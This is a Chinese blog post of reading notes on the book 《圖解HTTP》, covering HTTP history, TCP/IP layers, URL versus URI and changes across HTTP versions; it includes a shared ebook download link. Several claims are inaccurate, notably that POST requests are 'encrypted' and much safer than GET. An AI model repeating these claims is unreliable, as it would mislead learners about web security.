終、《圖解HTTP》讀書筆記 - 彙總篇(總結)

Xander發表於2022-11-24

終、《圖解HTTP》讀書筆記 - 彙總篇(總結)

引言

又一本網路基礎的書啃完了,這本書建議結合[[《網路是怎麼樣連線的》讀書筆記 - 彙總篇]](https://segmentfault.com/a/11...)這一篇讀書筆記食用(當然也可以直接看原書)。

把這兩本書啃完對於整個網際網路的基礎脈絡有一個大概的認知

在閱讀這份彙總筆記之前,我們先從全域性看一下大概講了什麼內容。

幕布地址:讀書筆記大綱

介紹

HTTP的好書《HTTP 權威指南》,以及網路程式設計必看書《TCP/IP 詳解,卷 1》都比較難啃。我相信如果一上來就看這兩本書,基本沒有多少人能堅持,更多的可能是看了幾頁之後立馬丟到一邊成為顯示器腳墊。

這時候應該選擇降級選擇更低一檔的入門書,也就是這篇讀書筆記對應的書籍《圖解HTTP》。

這本書的優點是簡單瞭解HTTP的神秘面紗同時,能讓你堅持看下不會覺得枯燥,雖然想要成為強者必須要經過上面兩本書的磨練,但是在等級不夠的時候,更建議好好靜心心來看這本書。

看完這本之後,可以再看看《圖解TCP/IP》,算是啃黑皮書之前的最後一道內功,這本書對於OSI模型七層架構以及TCP/IP模型進一步闡述。

再次強調,沒有網路基礎,不要上來先看《TCP/IP 詳解》,否則你會感覺在看天書(過來人的經驗)。

資源連結

《圖解HTTP》電子書資源連結:

連結: https://pan.baidu.com/s/1Zacp... 提取碼: 7om2

如果失效可以到公眾號“懶時小窩” 回覆“圖解HTTP”獲取圖書資源。

章節梳理

入門章節(概覽整個HTTP,瞭解HTTP定位)

第一章(掌握):WEB 基礎和HTTP的誕生,TCP/IP協議、URL和URI的瞭解,如果已經很熟悉了可以跳過。

\#知識點

  1. 概覽HTTP誕生歷史。文中提供一箇中文翻譯網站可以對照閱讀。
  2. 擴充套件:HTTP3.0 都已經出來了,為什麼2.0 推進還是隻有一半?題外話討論
  3. TCP/IP 協議概覽,瞭解基本定義。
  4. 區分URL和URI。

重點章節(必看並且消化以及自我複述)

第二章(掌握):HTTP重點特性介紹。瞭解HTTP協議重點升級內容,理解加記憶為主。讀書筆記補充了HTTPS的歷史(必看)

\#知識點

  1. 請求和響應報文的結構。
  2. HTTP協議進化歷史,介紹不同HTTP版本從無到有的重大特性改變。(重點)
  3. HTTP幾個比較常見的問題討論。

第三章(掌握):HTTP報文資訊。報文是WEB的核心,需要重點掌握。

\#知識點

  1. HTTP 請求報文結構。
  2. 請求報文和主體差異,介紹有關報文和主體相關的一些概念資訊。
  3. 內容協商:什麼是內容協商?關於內容協商的幾種方式。

第七章(掌握):重點是SSL/TLS協議的掌握,細節比較多。

\#知識點

  1. HTTPS 是什麼?HTTP有哪些缺點?
  2. SSL、TLS為啥總是被放到一起,有什麼區別?
  3. SSL、TLS歷史背景。
  4. SSL的加密細節,加密演算法瞭解。
  5. SSL的加密流程。

第六章(熟悉):介紹HTTP頭部內容。不需要記憶背誦,只需要用到的時候查表即可,此外記住一些常見頭部應付面試。

\#知識點

  1. HTTP 請求報文結構。
  2. 請求報文和主體差異,介紹有關報文和主體相關的一些概念資訊。
  3. 內容協商:什麼是內容協商?關於內容協商的幾種方式。

非重點章節(知識點模糊則建議仔細閱讀)

第四章(熟悉):常見HTTP狀態碼介紹,雖然同樣也不需要記憶,只需要用到的時候查表,但是作為開發人員,常見的一些響應碼需要掌握並且注意細節。

\#知識點

  1. 狀態碼定義的IETF協議規範,使用 RFC 7231 作為協議參考。
  2. 常見狀態碼定義,以及在 RFC 7231 中的協議定義參考
  3. 如何選擇合適的狀態碼,這裡僅介紹了 GET/POST/HEAD 三個最常用的狀態碼定義參考。

第八章(擴充):身份認證方式的擴充套件閱讀。重點熟悉掌握SSL認證,細節很多。(和第七章有重合,書籍編排問題)

\#知識點

  1. 身份認證的幾種常見方式

    1. BASIC認證(基本認證)
    2. DIGEST認證(摘要認證)
    3. SSL客戶端認證
    4. FormBase認證(表單認證)
  2. 重點介紹SSL認證細節,其他認證方式可以不看或者跳過。
  3. Keberos 認證和NTLM 認證,Keberos 認證是大資料身份認證的事實標準,大資料相關領域工作者有必要關注。

選看章節(非重點,大部分可以跳,小部分需瞭解)

第十一章(瞭解):RSS介紹,WEB攻擊與防護。WEB攻擊部分有時候面試會問到,建議瞭解一下。

\#知識點

  1. RSS歷史介紹,RSS的存在意義和價值,個人認為很適合自主學習的人使用。
  2. WEB 攻擊手段介紹,瞭解基礎和常見的攻擊手段,這些攻擊手段離我們日常生活並不遠。
  3. 關於瓶頸和未來發展是由於寫書時效性產生的一些“過時”內容,可以跳過。

第十章(跳過):構建WEB內容:和WEB有關搭配元件概念。也是泛泛而談。

第九章(跳過):HTTP的瓶頸和未來發展。在寫這本書的時候HTTP2.0還沒出來,現在HTTP3.0都已經發展了不少了=-=,建議看看讀書筆記部分的第二個大章介紹。

第五章(跳過):介紹代理、閘道器、隧道的大致概念。其實就是介紹了部分網際網路架構元件,講的過於淺並且編排不是很好,建議看《網路是怎麼樣連線的》,另外自薦一下自己的讀書筆記。

附錄

雖然標題起名叫“附錄”,實際上是個人蒐集筆記而已。

附錄部分是把之前各個章節參考的各種文章和資料彙總一遍,如果你也想閱讀這本書,相信這些內容對你一定有幫助。

歷史文章彙總

如果不喜歡又臭又長的文章,建議拆分閱讀,體驗更佳,本文為彙總實際上就是把這些文章合併到一起閱讀。

當然不一定非按我的編排方式,建議根據自己的習慣來看即可。

入門章節

[[《圖解HTTP》 - WEB和網路基礎]](https://segmentfault.com/a/11...)

重點章節

[[《圖解HTTP》- HTTP協議歷史發展(重點)]](https://segmentfault.com/a/11...)

[[《圖解HTTP》- 報文內的 HTTP資訊]](https://segmentfault.com/a/11...)

[[《圖解HTTP》 - HTTPS]](https://segmentfault.com/a/11...)

[[《圖解HTTP》- HTTP協作伺服器]](https://segmentfault.com/a/11...)

非重點章節(知識點模糊則建議仔細閱讀)

[[《圖解HTTP》- 狀態碼]](https://segmentfault.com/a/11...)

[[《圖解HTTP》- 使用者身份認證]](https://segmentfault.com/a/11...)

選看章節(非重點,大部分可以跳,小部分需瞭解)

[[《圖解HTTP》- RSS和網路攻擊]](https://segmentfault.com/a/11...)

附錄

[[《圖解HTTP》讀書筆記 - 附錄]](https://segmentfault.com/a/11...)

正文部分

一、《圖解HTTP》- WEB和網路基礎

知識點

  1. 概覽HTTP誕生歷史。文中提供一箇中文翻譯網站可以對照閱讀。
  2. 擴充套件:HTTP3.0 都已經出來了,為什麼2.0 推進還是隻有一半?題外話討論
  3. TCP/IP 協議概覽,瞭解基本定義。
  4. 區分URL和URI。

1.1 本章重點

開頭部分是關於WEB和網路歷史介紹,所以沒有多少需要理解和記憶的內容。網路基礎 TCP/IP的部分是整個網際網路的核心,建議多看幾遍理解和消化。

WEB的傳輸依賴HTTP(HyperText Transfer Protocol,超文字傳輸協議 1 )的協議作為規範,HTTP的工作是完成從客戶端到伺服器端等一系列運作流程,為了保證兩臺不同的裝置能正常溝通,兩者需要遵守相同的規則。

目前HTTP已經發展到3.0了,但是這本書寫下來的時候2.0還在起草,所以可以認為是一本比較“老”的書,很多地方需要查閱當前的資料進行糾正。

1.2 HTTP誕生

1989 年 3 月HTTP在少數幾個人手中誕生。CERN(歐洲核子研究組織)的蒂姆 • 伯納斯 - 李(Tim BernersLee)提出網路通訊的設想。

1990 年 11 月,CERN 成功研發了世界上第一臺 Web 伺服器和 Web 瀏 覽器。

1990 年,大家針對 HTML 1.0 草案進行了討論,因 HTML 1.0 中存在 多處模糊不清的部分,草案被直接廢棄了。

1993 年 1 月,現代瀏覽器的祖先 NCSA(National Center for Supercomputer Applications,美國國家超級計算機應用中心)研發的 Mosaic 問世了。同年秋天釋出Windows 版和 Macintosh 版面世。

1994 年 的 12 月,時代的眼淚網景通訊公司釋出了 Netscape Navigator 1.0,1995 年微軟公司釋出臭名昭著的 Internet Explorer 1.0 和 2.0,隨後IE折磨開發人員數十年的歷史開始。

這裡有一個網際網路比較知名的歷史,那就是關於微軟和網景之間的瀏覽器爭奪,感興趣的同學可以查查這一段歷史,微軟最終憑藉Windows平臺的客戶粘性繫結以及免費贏得勝利,網景雖然贏了官司但是瀏覽器市場被Windows壟斷逐漸沒落,畢竟explore不收費誰奈何的了。

現在的FireFox瀏覽器前身就是網景,不過瀏覽器核心卻是谷歌一家獨大,Edge在chrome核心以及自身最佳化的加持下也可圈可點,但是微軟利用平臺強制繫結客戶的行為依舊可見一二,這都是現代的使用者可以感知的。

另外值得一提的是3W的構建包含三種技術:

  • SGML(Standard Generalized Markup Language,標準通用標記語言),是最早的超文字格式的最高層次標準。可以定義標記語言的元語言,甚至可以定義不必採用< >的常規方式,因為太複雜因而難以普及。後續的HTTP和XML都可以看作這個協議的擴充套件和拆分和簡化。
  • HTML(HyperText Markup Language,超文字標記語言)。
  • URL(Uniform12 Resource Locator,統一資源定位符)。

1.3 HTTP歷史簡述

HTTP發展到現在也基本所有網站都是HTTP1.1版本作為標準,自 1999 年釋出的 RFC2616 之後釋出過一個版本RFC723。

這部分內容在第二章中會再次重點擴充套件和討論

**RFC7231 協議線上閱讀:

https://tools.ietf.org/html/rfc7231

歷史發展

感興趣可以點選協議號檢視原文。

  • HTTP/0.9:HTTP 於 1990 年問世,這個版本可以看作是1.0之前的雛形,因為沒有作為標準正式版建立,所以被叫做為0.9。
  • HTTP/1.0:HTTP 正式作為標準被公佈是在 1996 年的 5 月,標準號為RFC1945(點選連結檢視白皮書)。
  • HTTP/1.1:1997 年 1 月公佈,直到現在依然還有大量的網站在使用,最初標準為RFC2068,之後釋出的修訂版 RFC2616 ,目前最新版本為rfc7231
  • HTTP/2.0:HTTP/2是HTTP協議自1999年HTTP 1.1的改進版RFC2616,釋出後的首個更新,主要基於SPDY協議。(RFC 7231 時後面修訂的)

    它由網際網路工程任務組(IETF)的Hypertext Transfer Protocol Bis(httpbis)工作小組進行開發。該組織於2014年12月將HTTP/2標準提議遞交至IESG(英語:Internet_Engineering_Steering_Group)進行討論,於2015年2月17日被批准。

    HTTP2.0的標準號:RFC 7540

中英文對照閱讀

最後在網上找到一個關於HTTP協議的翻譯網站,專案作者貌似棄坑很多年沒有更新,但是對於英語基礎較薄弱的同學可以作為參考:

rfc7540-translation-zh_cn

1.3.1 HTTP/2.0 的特點

HTTP/2.0 的目標是改善使用者在使用 Web 時的速度體驗。

為了支撐這一實現,官方提出了三種技術:

  • SPDY(SPDY HTTP Speed):谷歌提出用於提高HTTP訪問效率以及解決HTTP1.X中管道化的缺陷,意圖是縮短整個請求時間。
  • Mobility Network-Friendly:由微軟公司起草,是用於改善並提高移動端通訊時的通訊速度和效能的標準。見名知意它是被用來實現手機高速上網的一個協議。
  • HTTP Upgrade (Network-Friendly HTTP Upgrade):同樣是對於移動端的一些改進意見。

1.3.2 HTTP2.0題外話

這本書寫於13,14年左右,HTTP2.0到現在都推廣快接近十年了,但是推廣速度個人認為一般。

作為讀者肯定好奇現在到底普及多少了,這裡找到一個可供參考的網站。

從紙面資料來看截止,到目前國外的統計目前使用HTTP/2的還不到一半,也就意味著還有一大半的伺服器還在使用HTTP1.1。

這就引申了下一個話題,3.0都快要出來了為什麼2.0還沒全面普及?

這就要了解為什麼2.0的普及這麼難。

首先是HTTP1.0中請求非常純粹,一個請求就是一次HTTP連線,請求完成就斷開。

於是 HTTP1.X 升級了一下,可以透過Keep-alive最佳化TCP的建立和斷開,一次連線也可以對應多個請求。

然而谷歌是不會滿足這樣的效率的,谷歌推動了HTTP2.0的升級,針對HTTP1.X的請求響應必須要排隊的問題處理,使用多路複用完成整個請求。

這樣當然對於效果顯著提升,為什麼大家都不用呢?

為什麼協議在進步,看起來效率在顯著提升,為什麼HTTP的升級難以推進?

表層來看

真實的專案基本需要依賴框架完成,有一些舊系統舊版本的框架不是想升級就升級的,或者說壓根懶得升級,因為沒有顯著的帶來效益的好處。甚至有可能搞出問題得不償失。

更深層次的原因

HTTP2.0 自帶HTTPS,這樣實際上就導致一個衝突問題,實際的專案大多需要使用Nginx反向代理。

但是Ngnix也可以開啟Http2.0的支援呀,為什麼依然堅持要用Nginx 做反向代理而不是直接使用HTTP2.0呢?

這樣的原因可能來自TCP長連結,在Nginx部署的情況下,實際上請求不需要走一長串的路由而是直接和Nginx互動。

但是HTTP2.0 可以透過多點部署以及多個請求順序並行,透過叢集和負載均衡可以很好的滿足伺服器要求。

在框架當中如果把請求發給本地,侷限單臺機器的核數量,併發效率實際上和HTTP1.X差不多,因為任務多起來依然需要排隊。

如果開啟HTTP2.0並且交給Nginx 拆分模組並且簡化功能,不改變開發模式的情況下又可以利用叢集。

此外,最關鍵的一個原因,HTTP2.0雖然解決了HTTP多路複用併發請求的問題,但是TCP的問題並沒有被解決。

所以大體上是TCP的鍋,其次是Nginx夠強,以及框架升級的高成本問題,最後是期待HTTP3.0一步到胃。

當然不要認為50% 普及率很低,從另一個角度來看訪問量很大日常使用的網站基本都有HTT P2.0的加成。

1.4 TCP/IP

理解HTTP必然需要了解TCP/IP。

HTTP協議是應用層的協議,如果是金字塔結構它處於模型的頂層,但是實際上金字塔的核心是TCP/IP。

HTTP是在此基礎上做支撐的,現代的網路架構是基於TCP/IP模型建立的,HTTP也只是其中的一部分。

TCP/IP 是網際網路相關的各類協議族的總稱,這是一種說法,表示單單是字面意思的TCP協議和IP協議。但是另一種說法是隻是代表了TCP 和 IP 這兩種協議。

TCP/IP 協議族按層次分別分 為以下5 層:應用層、傳輸層、網路層和資料鏈路層,以及和硬體密切相關的物理層。

對於TCP/IP感興趣,可以閱讀《圖解TCP/IP》和《TCP/IP 詳解》

層次化的設計意味著便於修改,也就是常說的高內聚低耦合在TCP/IP協議得到充分體現。

但是實際上這種設計不是完全沒有缺點的,那就是每一層雖然可以升級但是無法突破原有的框架,TCP協議本身限制也是導致HTTP協議難以推動升級的一個重要原因。

那麼《TCP/IP 詳解,卷 1》中開頭介紹了OSI 模型又是啥?

實際上是早期網際網路協議構建者的美好願景,企圖透過這一個模型實現一個極強擴充套件性的網際網路架構,說難聽點就是把標準給完全壟斷掉,讓以後的架構無牌可打你們都得聽我的。

當然理想和美好現實很骨感,由於OSI模型結構的層級過多並且難以推動和維護,後續被更為精簡好理解的TCP/IP 快速取代。

所以OSI模型是歷史鬥爭的產物,但是卻是實際上網路模型協議制定標杆, TCP/IP 模型藉助UNIX最終存活下來。

OSI模型

根據模型介紹各層都做了什麼?

  1. 應用層:決定為使用者提供服務的應用程式相關活動。
  2. 傳輸層:傳輸層主要是協議之間的資料傳輸,包含各種豐富多樣的協議,包括但是不限於TCP協議,比如TCP(Transmission Control Protocol,傳輸控制協議)和 UDP(User Data Protocol,使用者資料包協議)。
  3. 網路層:網路層用來處理在網路上流動的資料包,最終轉化為網路包的最小單位進行傳輸。
  4. 資料鏈路層:也可以認為是看的見的硬體部分,比如網路卡,硬體上的範疇均在鏈路層的作用範圍之內。
  5. 物理層:也就是網線和集線器等網路傳輸支援裝置,從粗略角度來看可以直接看作網線。

下面是整個網路資料包的封裝過程,如果想要了解整個過程可以檢視 《網路是怎麼樣連線的》這本書的第二章部分。

TCP/IP請求模型

1.4.1 IP、TCP 和DNS

按照協議層次劃分:IP(Internet Protocol)網際協議位於網路層,TCP位於傳輸層,所以TCP/IP 協議除了代表一個協議族群之外,TCP協議和IP協議本身其實就不在一個層級,所以不能混為一談。

IP協議(Internet Protocol)

IP(Internet Protocol)網際協議位於網路層

IP協議的主要工作是確保資訊能準確傳輸,為了保證資料能正確的送達,IP協議需要確保MAC地址和IP地址的正確,IP 地址指明瞭節點被分配到的地址,MAC 地址是指網路卡所屬的固定地址。

IP地址由於內外網通訊的緣故有可能會存在地址轉化,地址轉化依賴的是地址轉化裝置,但是MAC地址是從網路卡生產之後就固定了世界上唯一的網路卡MAC地址。

ARP 協議憑藉 MAC 地址進行通訊,接著便是透過類似快遞導航尋找站點的方式進行通訊傳輸,整個核心是透過“查表”方式進行。

ARP 協議(Address Resolution Protocol):ARP 是一種用以解析地址的協議,根據通訊方的 IP 地址就可以反查出對應的 MAC 地址。

請求路由

TCP協議

TCP協議位於傳輸層,提供位元組流服務,所謂位元組流服務是指大塊資料拆分為報文段, 而可靠服務指的是把資料傳輸給對方,同時TCP為了保證大段資料的傳輸會進行資料切割。

為了確保資料準確傳輸,整個TCP還需要依賴三次握手,關於三次握手的過程這裡也不做過多討論,可以看《網路是怎麼樣連線的》讀書筆記內容。

TCP協議

DNS 服務

使用者通常使用主機名或域名來訪問對方的計算機,而不是直接透過 IP地址訪問。

DNS是負責域名和IP轉化的服務,在請求目標伺服器之前,通常需要根據DNS服務獲取域名對應的IP地址。

各協議和HTTP關係

注意在書中省略有關MAC頭部的內容。

整個圖畫算是最為入門級的角度,實際上稍微深入就會發現沒有那麼簡單,這幅圖也是畫的過於籠統,簡單看看角色的基本職責即可。

各協議和HTTP關係

1.4.2 URL和URI

區別和對比

首先得區分概念本身:

URL:表示統一資源定位,也就是我們訪問WEB 伺服器在瀏覽器頂部的那一串字串。

URI: 其實這裡包含三個元件,URI全稱 是 Uniform Resource Identifier,RFC2396在規範的1.1分別對於這三個單詞進行下面的定義,整體來看URI 就是由某個協議方案表示的資源的定位識別符號。

  • Uniform:規定統一的格式可方便處理多種不同型別的資源,也就是常說的“習慣優於配置”,具體案例是比如ftp是ftp開頭請求走協議,http開頭請求走http協議。
  • Resource:抽象定義資源是“任何可以訪問的東西”,比如文件,圖片,網路檔案等等全都可以看做資源。
  • Identifier:表示可以標識的物件,也叫做識別符號。

最快速的區分可以直接認為 URI 是協議和標準,URL是對於URI協議標準的“直接實現”和“表示”。

URI屬於網際網路頂級規範的行列,只有符合URI規範的請求才能被識別,由隸屬於國際網際網路資源管理的非營利社團 ICANN(Internet Corporation forAssigned Names and Numbers,網際網路名稱與數字地址分配機構)的IANA(Internet Assigned Numbers Authority,網際網路號碼分配局)管理頒佈。

最後是有關URL定義的兩個直觀例子:

                    hierarchical part
        ┌───────────────────┴─────────────────────┐
                    authority               path
        ┌───────────────┴───────────────┐┌───┴────┐
  abc://username:password@example.com:123/path/data?key=value&key2=value2#fragid1
  └┬┘   └───────┬───────┘ └────┬────┘ └┬┘           └─────────┬─────────┘ └──┬──┘
scheme  user information     host     port                  query         fragment

  urn:example:mammal:monotreme:echidna
  └┬┘ └──────────────┬───────────────┘
scheme              path

當然官方在白皮書也給了一些案例:

   The following examples illustrate URI that are in common use.

   ftp://ftp.is.co.za/rfc/rfc1808.txt
      -- ftp scheme for File Transfer Protocol services

   gopher://spinaltap.micro.umn.edu/00/Weather/California/Los%20Angeles
      -- gopher scheme for Gopher and Gopher+ Protocol services

   http://www.math.uio.no/faq/compression-faq/part1.html
      -- http scheme for Hypertext Transfer Protocol services

   mailto:mduerst@ifi.unizh.ch
      -- mailto scheme for electronic mail addresses

   news:comp.infosystems.www.servers.unix
      -- news scheme for USENET news groups and articles

   telnet://melvyl.ucop.edu/
      -- telnet scheme for interactive services via the TELNET Protocol

最後我們簡單來對比URL和URI,可以看到URI劃定了URL的“分類”,所以URL可以看做是URI的子集。

URL 格式

URL 格式

這裡主要介紹用的比較少的片段識別符號,片段識別符號表示已獲取資源中的子資源

注意網際網路中並不是所有的請求都會符合RFC協議的,RFC指的是HTTP協議的意見修正書,這些內容多數情況下應用程式都會遵守,但是凡事總有特例。

如果不參考RFC協議進行通訊那麼就需要自己的協議完成客戶端之間的通訊,比較典型的例子比如RPC協議就是經典的非HTTP協議通訊實現,當然這種方案存在不少的問題和爭議。

1.5 總結

和多數技術書類似,第一章算是概覽的一個章節,大致介紹了HTTP的基礎背景。

當然這本書確實很老,很多協議和標準到現在其實早就不在使用了,但是從另一個角度來看IP、TCP、DNS這些東西基本都是萬年不變的,所以不需要擔心會過時。

關於HTTP2.0的討論是筆記中的擴充套件部分,在這一部分大致討論了一下為什麼HTTP2.0難以推進。

實際上HTTP2.0在各大主流網站都有普及,國內的一些大廠商基本也是第一時間跟進的。

二、《圖解HTTP》- HTTP協議歷史發展(重點)

知識點

  1. 請求和響應報文的結構。
  2. HTTP協議進化歷史,介紹不同HTTP版本從無到有的重大特性改變。(重點)
  3. HTTP幾個比較常見的問題討論。

2.0 介紹

這一章節基本上大部分為個人擴充套件,因為書中的內容講的實在是比較淺。本文內容非常長,另外哪怕這麼長也只是講到了HTTP協議的一部分而已,HTTP協議本身十分複雜。

2.1 請求和響應報文結構

請求報文的基本內容:

請求和響應報文結構

請求內容需要客戶端發給服務端:

GET /index.htm HTTP/1.1 
Host: hackr.jp

響應報文的基本內容:

響應報文的基本內容

伺服器按照請求內容處理結果返回:

開頭部分是HTTP協議版本,緊接著是狀態碼 200 以及原因短語。

下一行則包含了建立響應的日期時間,包括了首部欄位的屬性。

HTTP/1.1 200 OK 
Date: Tue, 10 Jul 2012 06:50:15 GMT 
Content-Length: 362 
Content-Type: text/html

<html> ……

2.2 HTTP進化歷史

協議版本解決的核心問題解決方式
0.9HTML 檔案傳輸確立了客戶端請求、服務端響應的通訊流程
1.0不同型別檔案傳輸設立頭部欄位
1.1建立/斷開 TCP 連線開銷大建立長連線進行復用
2併發數有限二進位制分幀
3TCP 丟包阻塞採用 UDP 協議
SPDYHTTP1.X的請求延遲多路複用

2.2.1 概覽

我們覆盤HTTP的進化歷史,下面是拋去所有細節,整個HTTP連線大致的進化路線。

注意:有關協議的升級內容挑了具備代表性的部分,完整內容需要閱讀RFC原始協議瞭解
  • http0.9:只具備最基礎的HTTP連線模型,在非常短的一段時間記憶體在,後面被快速完善。
  • http1.0: 1.0版本中每個TCP連線只能傳送一個請求,資料傳送完畢連線就關閉,如果還要請求其他資源,就必須重新建立TCP連線。(TCP為了保證正確性和可靠性需要客戶端和伺服器三次握手和四次揮手,因此建立連線成本很高)
  • http1.1:

    • 長連線:新增Connection欄位,預設為keep-alive,保持連線不斷開,即 TCP 連線預設不關閉,可以被多個請求複用;
    • 管道化:在同一個TCP連線中,客戶端可以傳送多個請求,但響應的順序還是按照請求的順序返回,在服務端只有處理完一個回應,才會進行下一個回應;
    • host欄位:Host欄位用來指定伺服器的域名,這樣就可以將多種請求發往同一臺伺服器上的不同網站,提高了機器的複用,這個也是重要的最佳化;
  • HTTP/2:

    • 二進位制格式:1.x是文字協議,然而2.0是以二進位制幀為基本單位,可以說是一個二進位制協議,將所有傳輸的資訊分割為訊息和幀,並採用二進位制格式的編碼,一幀中包含資料和識別符號,使得網路傳輸變得高效而靈活;
    • 多路複用:2.0版本的多路複用多個請求共用一個連線,多個請求可以同時在一個TCP連線上併發,主要藉助於二進位制幀中的標識進行區分實現鏈路的複用;
    • 頭部壓縮:2.0版本使用使用HPACK演算法對頭部header資料進行壓縮,從而減少請求的大小提高效率,這個非常好理解,之前每次傳送都要帶相同的header,顯得很冗餘,2.0版本對頭部資訊進行增量更新有效減少了頭部資料的傳輸;
    • 服務端推送:在2.0版本允許伺服器主動向客戶端傳送資源,這樣在客戶端可以起到加速的作用;
  • HTTP/3:

​ 這個版本是劃時代的改變,在HTTP/3中,將棄用TCP協議,改為使用基於UDP協議的QUIC協議實現。需要注意QUIC是谷歌提出的(和2.0 的SPDY 一樣),QUIC指的是快速 UDP Internet 連線,既然使用了UDP,那麼也意味著網路可能存在丟包和穩定性下降。谷歌當然不會讓這樣的事情發生,所以他們提出的QUIC既可以保證穩定性,又可以保證SSL的相容,因為HTTP3上來就會和TLS1.3一起上線。

​ 基於這些原因,制定網路協議IETF的人馬上基本都同意了QUIC的提案(太好了又能白嫖成果),於是HTTP3.0 就這樣來了。但是這只是最基本的草案,後續的討論中希望QUIC可以相容其他的傳輸協議,最終的排序如下IP / UDP / QUIC / HTTP。另外TLS有一個細節最佳化是在進行連線的時候瀏覽器第一次就把自己的金鑰交換的素材發給伺服器,這樣進一步縮短了交換的時間。

​ 為什麼HTTP3.0要從協議根本上動刀,那是因為HTTP/2雖然解決了HTTP協議無法多路複用的問題,但是沒有從TCP層面解決問題,具體的TCP問題體現如下:

  • 隊頭阻塞HTTP/2 多個請求跑在一個 TCP 連線中,如果此時序號較低的網路請求被阻塞,那麼即使序列號較高的 TCP 段已經被接收了,應用層也無法從核心中讀取到這部分資料,從 HTTP 視角看就是多個請求被阻塞了,並且頁面也只是載入了一部分內容;
  • TCPTLS 握手時延縮短TCL 三次握手和 TLS 四次握手,共有 3-RTT 的時延,HTPT/3最終壓縮到1 RTT(難以想象有多快);
  • 連線遷移需要重新連線,移動裝置從 4G 網路環境切換到 WIFI 時,由於 TCP 是基於四元組來確認一條 TCP 連線的,那麼網路環境變化後,就會導致 IP 地址或埠變化,於是 TCP 只能斷開連線,然後再重新建立連線,切換網路環境的成本高;
RTT:RTTRound Trip Time的縮寫,簡單來說就是通訊一來一回的時間

下面是官方對於RTT速度縮短的對比,最終只在初次連線需要1RTT的金鑰交換,之後的連線均為0RTT!

0RTT

2.2.2 HTTP 0.9

這個版本基本就是草稿紙協議,但是它具備了HTTP最原始的基礎模型,比如只有GET命令,沒有 Header 資訊,傳達的目的地也十分簡單,沒有多重資料格式,只有最簡單的文字。

此外伺服器一次建立傳送請求內容之後就會立馬關閉TCP連線,這時候的版本一個TCP還只能傳送一個HTTP請求,採用一應一答的方式。

當然在後面的版本中對於這些內容進行升級改進。

2.2.3 HTTP 1.0

協議原文:https://datatracker.ietf.org/doc/html/rfc1945

顯然HTTP 0.9缺陷非常多並且不能滿足網路傳輸要求。瀏覽器現在需要傳輸更為複雜的圖片,指令碼,音訊影片資料。

1996年HTTP進行了一次大升級,主要的更新如下:

  • 增加更多請求方法:POST、HEAD
  • 新增Header 頭部支援更多的情況變化
  • 第一次引入協議版本號的概念
  • 傳輸不再限於文字資料
  • 新增響應狀態碼

在HTTP1.0 協議原文中開頭有一句話:

原文:

Status of This Memo:

This memo provides information for the Internet community. This memo

does not specify an Internet standard of any kind.  Distribution of

this memo is unlimited.

這份協議用了memo這個單詞,memo 的意思是備忘錄,也就是說雖然洋洋灑灑寫了一大堆看似類似標準的規定,但是實際上還是草稿,沒有規定任何的協議和標準,另外這份協議是在麻省理工的一個分校起草的,所以可以認為是討論之後臨時的一份方案。

HTTP1.0主要改動點介紹

在瞭解了這是一份備忘錄的前提下,我們來介紹協議的一些重要概念提出。

HTTP1.0 定義了無狀態、無連線的應用層協議,紙面化定義了HTTP協議本身。

無狀態、無連線定義:HTTP1.0 規定伺服器和客戶端之間可以保持短暫連線,每次請求都需要發起一次新的TCP連線(無連線),連線完成之後立馬斷開連線,同時伺服器不負責記錄過去的請求(無狀態)。

這樣就出現一個問題,那就是通常一次訪問需要多個HTTP請求,所以每一次請求都要建立一次TCP連線效率非常低,此外還存在兩個比較嚴重的問題:隊頭阻塞無法複用連線

隊頭阻塞:因為TCP連線是類似排隊的方式傳送,如果前一個請求沒有到達或者丟失,後一個請求就需要等待前面的請求完成或者完成重傳才能進行請求。

無法複用連線:TCO連線資源本身就是有限的,同時因為TCP自身調節(滑動視窗)的關係,TCP為了防止網路擁堵會有一個慢啟動的過程。

RTT時間計算:TCP三次握手共計需要至少1.5個RTT,注意是HTTP連線不是HTTPS連線。

滑動視窗:簡單理解是TCP 提供一種可以讓「傳送方」根據「接收方」的實際接收能力控制傳送的資料量的機制

2.2.4 HTTP1.1

HTTP 1.1 的升級改動較大,主要的改動點是解決建立連線傳輸資料的問題,在HTTP1.1中引入了下面的內容進行改進:

  • 長連線:也就是Keep-alive頭部欄位,讓TCP預設不進行關閉,保證一個TCP可以傳遞多個HTTP請求
  • 併發連線:一個域名允許指定多個長連線(注意如果超出上限依然阻塞);
  • 管道機制:一個TCP可以同時傳送多個請求(但是實際效果很雞肋還會增加伺服器壓力,所以通常被禁用);
  • 增加更多方法:PUT、DELETE、OPTIONS、PATCH等;
  • HTTP1.0新增快取欄位(If-Modified-Since, If-None-Match),而HTTP1.1則引入了更多欄位,比如Entity tag,If-Unmodified-Since, If-Match, If-None-Match等更多快取頭部的快取策略。
  • 允許資料分塊傳輸(Chunked),對於大資料傳輸很重要;
  • 強制使用Host頭部,為網際網路的主機託管創造條件;
  • 請求頭中引入了 支援斷點續傳的 range 欄位;

下面為書中第二章節記錄的筆記內容,寫書日期是HTTP1.1蓬勃發展的時候 ,基本對應了HTTP1.1協議中的一些顯著特點。

無狀態協議

HTTP 協議自身不具備儲存之前傳送過的請求或響應的功能,換句話說HTTP協議本身只保證協議報文的格式符合HTTP的要求,除此之外的傳輸和網路通訊其實都是需要依賴更下層的協議完成。

HTTP設計成如此簡單的形式,本質上就是除開協議本身外的內容一切都不考慮,達到高速傳輸的效果。但是因為HTTP的簡單粗暴,協議本身需要很多輔助的元件來完成WEB的各種訪問效果,比如保持登陸狀態,儲存近期的瀏覽器訪問資訊,記憶密碼等功能,這些都需要Cookie以及Session來完成。

HTTP/1.1引入了Cookie以及Session協助HTTP完成狀態儲存等操作。

請求資源定位

HTTP大多數時候是透過URL的域名來訪問資源的,定位URL要訪問的真實服務需要DNS的配合,DNS是什麼這裡不再贅述。

如果是對伺服器訪問請求,可以透過 * 的方式發起請求,比如OPTIONS * HTTP/1.1

請求方法

實際上用的比較多的還是GETPOST

GET:通常視為無需要服務端校驗可以直接透過URL公開訪問的資源,但是通常會在URL中攜帶大量的請求引數,但是這些引數通常無關敏感資訊所以放在URL當中非常方便簡單。

POST:通常情況為表單提交的引數,需要服務端的攔截校驗才能獲取,比如下載檔案或者訪問一些敏感資源,實際上POST請求要比GET請求使用更為頻繁,因為POST請求對於請求的資料進行“加密”保護。相比於GET請求要安全和靠譜很多。

請求方法和協議支援

持久連線

所謂的持久連線包含一定的歷史原因,HTTP1.0最早期每次訪問和響應都是一些非常小的資源互動,所以一次請求結束之後基本就可以和服務端斷開,等到下一次需要再次請求再次連線。

